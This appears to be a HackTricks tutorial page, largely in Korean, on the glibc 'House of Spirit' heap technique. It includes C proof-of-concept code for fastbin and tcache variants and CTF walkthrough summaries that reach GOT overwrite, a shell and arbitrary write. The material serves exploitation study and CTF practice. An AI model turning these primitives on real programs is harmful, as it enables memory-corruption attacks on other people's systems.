House of Spirit
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
코드
House of Spirit
```c #include// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);
// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf(“Victim: %p\n”, victim);
return 0; }
</details>
### 목표
- tcache / fast bin에 주소를 추가해서 나중에 해당 주소를 allocate할 수 있어야 함
### 요구사항
- 이 공격은 공격자가 size 값을 올바르게 표시한 fake fast chunks를 몇 개 생성하고, 첫 번째 fake chunk를 free하여 bin에 들어가게 할 수 있어야 함.
- **tcache (glibc ≥2.26)** 환경에서는 공격이 더 간단해짐: fake chunk 하나만 있으면 된다( tcache 경로에서는 next-chunk size 체크가 수행되지 않음). 단, fake chunk가 0x10 정렬되어 있고 size 필드가 유효한 tcache bin (0x20-0x410 on x64)에 속해야 함.
### 공격
- 보안 검사를 우회하는 fake chunks를 생성: 기본적으로 올바른 위치에 올바른 size 값을 표시하는 fake chunk 2개가 필요함
- 어떤 식으로든 첫 번째 fake chunk를 free해 fast 또는 tcache bin에 들어가게 한 뒤, 그 주소를 allocate하여 해당 주소를 overwrite함
**이 코드는** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **공격을 이해하는 데 매우 유용하다.** 다만 코드의 이 도식이 이를 꽤 잘 요약한다:
<details>
<summary>가짜 chunk 레이아웃</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
Tip
두 번째 chunk를 생성해야 일부 sanity 체크를 우회할 수 있다는 점에 유의하세요.
Tcache house of spirit (glibc ≥2.26)
- 최신 glibc에서는 tcache fast-path가 다음 청크의 크기/
prev_inuse를 검증하기 전에tcache_put을 호출하므로, 현재의 fake chunk만 정상처럼 보이면 된다. - 요구 사항:
- Fake chunk must be 16-byte aligned and not marked
IS_MMAPPED/NON_MAIN_ARENA. sizemust belong to a tcache bin and include the prev_inuse bit set (size | 1).- Tcache for that bin must not be full (default max 7 entries).
- Minimal PoC (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41; // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2]; // points inside fake chunk
free(p); // goes straight into tcache
void *q = malloc(0x30); // returns stack address fake+2
- Safe-linking is not a barrier here: the forward pointer stored in tcache is automatically encoded as
fd = ptr ^ (heap_base >> 12)duringfree, so the attacker does not need to know the key when using a single fake chunk. - 이 변형은 glibc hooks가 제거되었을 때(≥2.34) 유용하며, 추가 손상 없이 tcache 청크로 대상 버퍼(예: stack/BSS)를 겹치게 하거나 빠른 arbitrary write가 필요할 때 편리하다.
Examples
-
CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
-
Libc infoleak: Via an overflow it’s possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
-
House of Spirit: 카운터(예: “rifles“의 개수를 세는)를 악용하면 첫 번째 fake chunk의 fake size를 생성할 수 있고, 이어서 “message“를 악용하면 두 번째 청크의 size를 위조할 수 있으며, 마지막으로 overflow를 악용해 해제될 포인터를 변경하여 첫 번째 fake chunk가 free되게 할 수 있다. 그런 다음 이를 할당하면 내부에 “message“가 저장된 주소가 들어 있고, 이를 GOT 테이블의
scanf엔트리를 가리키게 만들어 system 주소로 덮어쓸 수 있다.
다음 번에scanf가 호출되면 입력으로"/bin/sh"를 보내 셸을 얻을 수 있다. -
Glibc leak: Uninitialized stack buffer.
-
House of Spirit: 전역 heap 포인터 배열의 첫 번째 인덱스를 수정할 수 있다. 단일 바이트 수정을 통해 유효한 청크 내부의 fake chunk에 대해
free를 사용하여 다시 할당하면 overlapping chunks 상황을 만들 수 있다. 이를 통해 간단한 Tcache poisoning attack으로 arbitrary write primitive를 얻을 수 있다.
References
- https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
- https://github.com/shellphish/how2heap/blob/master/glibc_2.34/tcache_house_of_spirit.c
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


